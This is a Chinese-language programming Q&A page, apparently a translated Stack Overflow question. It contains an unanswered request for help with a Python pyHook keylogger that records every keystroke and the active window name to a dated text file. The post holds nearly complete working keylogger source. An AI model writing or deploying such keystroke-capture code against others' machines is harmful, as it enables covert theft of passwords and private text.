如何在PC上获取键盘记录器,以将字符打印到txt文件中

时间:2019-09-03 16:33:52

标签: python python-3.x windows

我无法让本地计算机键盘记录器打印输出。它可以打印打开的应用程序/网站,但是我能得到的最好的字母就是它们的ascii等效值。

import pyHook, pythoncom
from datetime import datetime

todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = todays_date + '.txt'

line_buffer = ""
window_name = ""

def SaveLineToFile(line):
    todays_file = open(file_name, 'a')
    todays_file.write(line)
    todays_file.close()

def OnKeyboardEvent(event):
    global line_buffer
    global window_name


    if(window_name != event.WindowName):
        if(line_buffer != ""):
            line_buffer += '\n'
            SaveLineToFile(line_buffer)

        line_buffer = ""
        SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n')
        window_name = event.WindowName

    if(event.Ascii == 13 or event.Ascii == 9):
        line_buffer += '\n'
        SaveLineToFile(line_buffer)
        line_buffer = ""
        return True

    if(event.Ascii == 8):
        line_buffer = line_buffer[:-1]
        return True

    if(event.Ascii < 32 or event.Ascii > 126):
        if(event.Ascii == 0):
            pass
        else:
            line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
    else:
        line_buffer += chr(event.Ascii)

    return True

SaveLineToFile(line_buffer)
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

我希望它在发生击键时将击键打印到文件中,并在使用退格键时将击键删除并打印出发生这种情况的应用程序/网站。

0 个答案:

没有答案